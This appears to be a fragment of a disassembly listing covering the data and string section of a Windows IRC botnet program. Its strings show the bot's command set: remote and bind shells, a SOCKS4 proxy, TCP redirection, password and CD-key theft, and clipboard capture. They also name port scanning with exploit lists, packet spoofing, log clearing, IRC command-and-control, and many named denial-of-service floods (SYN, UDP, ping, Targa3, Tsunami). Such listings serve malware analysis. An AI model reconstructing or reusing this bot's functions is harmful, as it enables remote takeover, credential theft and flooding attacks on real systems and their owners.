align 4
unk_42C2D8 db 2Dh ; - ; DATA XREF: sub_401ACD+2514o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 10h
unk_42C300 db 2Dh ; - ; DATA XREF: sub_401ACD+24F5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_42C32C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401ACD+24DFo
dd 72616F62h, 2E64h
dword_42C348 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+24B1o
dd 2Dh
unk_42C360 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Eo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C38C db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
; char asc_42C3B0[]
asc_42C3B0 db '-' ; DATA XREF: sub_401ACD:loc_403F43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C3DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C408 db 2Dh ; - ; DATA XREF: sub_401ACD+2468o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C42C db 2Dh ; - ; DATA XREF: sub_401ACD+2415o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0
align 4
; char asc_42C468[]
asc_42C468 db '-' ; DATA XREF: sub_401ACD+23A6o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
; char asc_42C4A4[]
asc_42C4A4 db '-' ; DATA XREF: sub_401ACD+22C0o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 10h
; char asc_42C4E0[]
asc_42C4E0 db '-' ; DATA XREF: sub_401ACD+2255o
; sub_40BACE+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C51C db 2Dh ; - ; DATA XREF: sub_401ACD+214Eo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 4
; char asc_42C558[]
asc_42C558 db '-' ; DATA XREF: sub_401ACD+20DFo
; sub_40BACE+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C58C db 2Dh ; - ; DATA XREF: sub_401ACD+202Ao
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 4
unk_42C5AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE1o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan, port is invalid.',0
align 4
; char asc_42C5E4[]
asc_42C5E4 db '-' ; DATA XREF: sub_401ACD+1FC4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0
align 10h
; char asc_42C620[]
asc_42C620 db '-' ; DATA XREF: sub_401ACD+1F53o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F28o
; sub_401ACD+5BEFo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F21o
; sub_401ACD+5BE8o
align 10h
; char asc_42C6A0[]
asc_42C6A0 db '-' ; DATA XREF: sub_401ACD+1D6Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42C6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+1D10o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
; char asc_42C71C[]
asc_42C71C db '-' ; DATA XREF: sub_401ACD+1C96o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
; char aFp[]
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Do
align 4
; char aFindpass[]
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Co
align 4
; char aNoticeSPhoning[]
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
align 4
; char aPhonehome[]
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C12o
align 4
; char aAsc[]
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE8o
; char asc_42C788[]
asc_42C788 db '-' ; DATA XREF: sub_401ACD+1B98o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h
dd 2Eh
; char aCrash[]
aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B82o
; sub_401ACD+1BD2o
align 4
; char aTftp[]
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Do
align 4
; char aTftpserver[]
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B58o
align 10h
; char aHttp[]
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B43o
align 4
; char aHttpserver[]
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Eo
align 4
; char aRlogin[]
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B19o
align 4
; char aRloginserver[]
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B04o
align 4
; char aCip[]
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEFo
; char aCurrentip[]
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1ADAo
align 4
; char aFdns[]
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC5o
align 4
; char aFlushdns[]
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AB0o
align 10h
; char aFarp[]
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Bo
align 4
; char aFlusharp[]
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A86o
align 4
; char aGc[]
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A71o
align 4
; char aGetclip[]
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Co
; char asc_42C830[]
asc_42C830 db '-' ; DATA XREF: sub_401ACD+1A1Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
; char Str2[]
Str2 db 'off',0 ; DATA XREF: sub_401ACD+1A03o
; sub_401ACD+3CB0o ...
; char aSpoof[]
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19ECo
align 4
unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+19CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
; char aD_S[]
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1996o
; sub_40B1B4+46o
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403454o
dword_42C898 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+195Co
; char aWho[]
aWho db 'who',0 ; DATA XREF: sub_401ACD+193Fo
dword_42C8B0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401ACD+192Fo
align 4
; char aCmdstop[]
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1916o
; char aOcmd[]
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1901o
align 4
; char aOpencmd[]
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18ECo
; char aDll[]
aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D7o
; char aTestdlls[]
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C2o
align 4
; char aDrv[]
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ADo
; char aDriveinfo[]
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1898o
align 4
; char aUp[]
aUp db 'up',0 ; DATA XREF: sub_401ACD+1883o
align 4
; char aUptime[]
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Eo
align 10h
; char aKey[]
aKey db 'key',0 ; DATA XREF: sub_401ACD+1859o
; char aGetcdkeys[]
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1844o
align 10h
; char aPs[]
aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Fo
align 4
; char aProcs[]
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+181Ao
align 4
; char aLsp100[]
aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17F0o
; sub_401ACD+1805o
align 4
; char aSi[]
aSi db 'si',0 ; DATA XREF: sub_401ACD+17DBo
align 4
; char aSysinfo[]
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C6o
; char aNi[]
aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B1o
align 4
; char aNetinfo[]
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Co
; char aClg[]
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1787o
; char aClearlog[]
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1772o
align 4
; char aLg[]
aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Do
align 10h
; char aLog[]
aLog db 'log',0 ; DATA XREF: sub_401ACD+1748o
; char aAl[]
aAl db 'al',0 ; DATA XREF: sub_401ACD+1733o
align 4
; char aAliases[]
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Eo
; char aT[]
aT: ; DATA XREF: sub_401ACD+1709o
; .data:004382F8o ...
unicode 0, <t>,0
; char aThreads[]
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F4o
unk_42C97C db 2Dh ; - ; DATA XREF: sub_401ACD+16C0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
; char asc_42C9A4[]
asc_42C9A4 db '-' ; DATA XREF: sub_401ACD+16B9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
; char aReboot[]
aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A2o
align 4
; char aI[]
aI: ; DATA XREF: sub_401ACD+168Do
; .data:00438304o ...
unicode 0, <i>,0
; char aId[]
aId db 'id',0 ; DATA XREF: sub_401ACD+1678o
align 4
; char aS_5[]
aS_5: ; DATA XREF: sub_401ACD+1663o
; .data:00438310o ...
unicode 0, <s>,0
; char aStatus[]
aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Eo
align 10h
; char aQ[]
aQ: ; DATA XREF: sub_401ACD+1639o
; .data:off_4382E8o ...
unicode 0, <q>,0
; char aQuit_0[]
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1624o
align 4
; char aDc[]
aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Fo
align 10h
; char aDisconnect[]
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15FAo
align 4
; char aR[]
aR: ; DATA XREF: sub_401ACD+15E5o
; sub_401ACD+3DA9o ...
unicode 0, <r>,0
; char aReconnect[]
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15D0o
align 4
; char aExplist[]
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BBo
; char aExploitlist[]
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A6o
; char aCbstats[]
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1591o
; char aConnectbacksta[]
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
align 4
; char aTrstats[]
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1567o
; char aTransferstats[]
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1552o
align 4
; char aStats[]
aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Do
align 4
; char aScanstats[]
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1528o
align 4
dword_42CA68 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Do
aScan db 'Scan',0 ; DATA XREF: sub_401ACD+1518o
align 4
; char aScanstop[]
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FFo
align 4
dword_42CA88 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EFo
align 10h
; char aSecurestop[]
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D6o
align 4
dword_42CAAC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CBo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C6o
align 4
; char aClonestop[]
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ADo
align 10h
; char aPsstop[]
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1498o
align 4
; char aProcsstop[]
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1483o
align 4
; char aFfstop[]
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Eo
align 4
; char aFindfilestop[]
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1459o
align 4
dword_42CAFC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
; char aTftpstop[]
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1430o
align 4
; char aPingstop[]
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1407o
align 4
; char aUdpstop[]
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DEo
; char aWisdomstop[]
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B5o
align 4
; char aTsunamistop[]
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Co
unk_42CB44 db 2Dh ; - ; DATA XREF: sub_401ACD+1372o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42CB78 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1337o
; sub_401ACD+13D3o
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401ACD+1332o
; sub_401ACD+13CEo
align 4
dword_42CB98 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1319o
; sub_401ACD+13AAo
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401ACD+1314o
; sub_401ACD+13A5o
align 4
dword_42CBB8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B9o
; sub_401ACD+1425o
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401ACD+12B4o
; sub_401ACD+1420o
align 10h
dword_42CBD0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
; sub_401ACD+13FCo
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401ACD+1296o
; sub_401ACD+13F7o
align 4
; char aPacketstop[]
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1236o
align 4
dword_42CBF4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Bo
; sub_401ACD+12F8o
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401ACD+1226o
; sub_401ACD+12F3o
align 4
; char aWonkstop[]
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Do
align 4
dword_42CC18 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1202o
; sub_401ACD+12DAo
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401ACD+11FDo
; sub_401ACD+12D5o
align 4
; char aTarga3stop[]
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E4o
align 4
dword_42CC44 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D9o
; sub_401ACD+1358o
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401ACD+11D4o
; sub_401ACD+1353o
align 4
; char aSkysynstop[]
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BBo
align 10h
dword_42CC70 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
; sub_401ACD+127Ao
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401ACD+11ABo
; sub_401ACD+1275o
align 4
; char aSynstop[]
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1192o
dword_42CC90 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1187o
; sub_401ACD+125Co
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401ACD+1182o
; sub_401ACD+1257o
align 4
; char aDdos_stop[]
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401ACD+1169o
align 4
dword_42CCB4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Eo
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401ACD+1159o
align 4
; char aRedirectstop[]
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1140o
align 4
dword_42CCE4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
aLogList db 'Log list',0 ; DATA XREF: sub_401ACD+1130o
align 4
; char aLogstop[]
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1117o
dword_42CD04 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
; char aHttpstop[]
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EEo
align 10h
dword_42CD20 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E3o
; char aRloginstop[]
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C5o
align 4
dword_42CD3C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BDo
; char aSocks4stop[]
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Fo
align 4
; char aS4[]
aS4 db 's4',0 ; DATA XREF: sub_401ACD+108Ao
align 4
; char aSocks4[]
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1075o
align 4
dword_42CD64 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1053o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Eo
; sub_401ACD+10B8o ...
align 10h
; char aBindshellstop[]
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1035o
align 10h
; char aBd[]
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1020o
align 4
; char aBindshell[]
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Bo
align 10h
; char aUnsec[]
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF6o
align 4
; char aUnsecure[]
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE1o
align 4
; char aSec[]
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCCo
; sub_401ACD+2D6Ao
; char aSecure[]
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB7o
; sub_401ACD+2D59o
align 10h
; char aSt[]
aSt db 'st',0 ; DATA XREF: sub_401ACD+FA2o
align 4
; char aSpeedtest[]
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Do
align 10h
; char aDed[]
aDed db 'ded',0 ; DATA XREF: sub_401ACD+F78o
; char aDedication[]
aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F63o
align 10h
; char aVer[]
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Eo
; char aVersion[]
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F39o
; char aLo[]
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F24o
align 10h
; char aLogout[]
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Fo
align 4
; char aD_0[]
aD_0: ; DATA XREF: sub_401ACD+EFAo
; .data:00438314o ...
unicode 0, <d>,0
; char aDie[]
aDie db 'die',0 ; DATA XREF: sub_401ACD+EE5o
; char aRn[]
aRn db 'rn',0 ; DATA XREF: sub_401ACD+ED0o
align 4
; char aRndnick_0[]
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401ACD+EB8o
; char a63[]
a63 db '63',0 ; DATA XREF: sub_401ACD+D85o
align 10h
; char asc_42CE10[]
asc_42CE10: ; DATA XREF: sub_401ACD+D5Do
unicode 0, <)>,0
; char aChr[]
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D20o
align 4
; char aServer[]
aServer db '$server',0 ; DATA XREF: sub_401ACD+D15o
; char aRndnick[]
aRndnick db '$rndnick',0 ; DATA XREF: sub_401ACD+D04o
align 10h
; char aChan[]
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE8o
align 4
; char aUser[]
aUser db '$user',0 ; DATA XREF: sub_401ACD+CD7o
align 10h
; char aMe[]
aMe db '$me',0 ; DATA XREF: sub_401ACD+CC5o
; char aD_1[]
aD_1 db '$%d',0 ; DATA XREF: sub_401ACD+C57o
; char aD[]
aD db '$%d-',0 ; DATA XREF: sub_401ACD+B93o
align 10h
; char asc_42CE50[]
asc_42CE50: ; DATA XREF: sub_401ACD+ABBo
; .data:0043832Co ...
unicode 0, <l>,0
unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CE88 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CEB8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0
align 10h
; char asc_42CEF0[]
asc_42CEF0 db '-' ; DATA XREF: sub_401ACD+9EFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
; char aChat[]
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o
align 4
; char asc_42CF18[]
asc_42CF18 db '-' ; DATA XREF: sub_401ACD+938o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CF5C db 2Dh ; - ; DATA XREF: sub_401ACD+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CF98 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+90Fo
dd 0A0Dh
; char dword_42CFB0
dword_42CFB0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo
dword_42CFB8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8D0o
dd 0D017325h, 0Ah
; char dword_42CFD4
dword_42CFD4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo
; char asc_42CFE0[]
asc_42CFE0 db '#',0 ; DATA XREF: sub_401ACD+816o
; sub_40CA80+1Bo
align 4
; char asc_42CFE4[]
asc_42CFE4 db '-' ; DATA XREF: sub_401ACD+785o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
; char aS_6[]
aS_6 db '%s',0 ; DATA XREF: sub_401ACD+706o
; sub_401ACD+995o ...
align 4
; char aSend[]
aSend db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo
align 10h
; char dword_42D020
dword_42D020 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o
; char a332[]
a332 db '332',0 ; DATA XREF: sub_401ACD+64Bo
; sub_401ACD+ADDo ...
; char aNotice[]
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o
; sub_409A73+Fo
align 4
; char aPrivmsg[]
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do
; sub_409A73+16o
; char asc_42D03C[]
asc_42D03C db '-' ; DATA XREF: sub_401ACD+5CCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 10h
; char asc_42D060[]
asc_42D060 db '-' ; DATA XREF: sub_401ACD+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
; char a353[]
a353 db '353',0 ; DATA XREF: sub_401ACD+574o
; char aQuit[]
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o
; sub_40E992+5DEo
align 4
; char aPart[]
aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o
; sub_401ACD+5E9o
align 4
; char aSS_1[]
aSS_1 db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo
align 4
; char aNick[]
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o
align 4
; char aNoticeSS[]
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+60Do
; char asc_42D0B4[]
asc_42D0B4 db '-' ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2EBDo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
; char aKick[]
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
; char aNickS[]
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7C8Fo ...
align 4
; char a433[]
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_4177D0:loc_417838o
; char a[]
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
; char a302_0[]
a302_0 db '302',0 ; DATA XREF: sub_401ACD+22Ao
; char a005[]
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
; char a001[]
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
; char aJoinSS[]
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3B7o ...
align 4
; char aPongS[]
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
; char aPing[]
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_4177D0+50o
align 10h
; char Delim[]
Delim: ; DATA XREF: sub_401ACD+19Ao
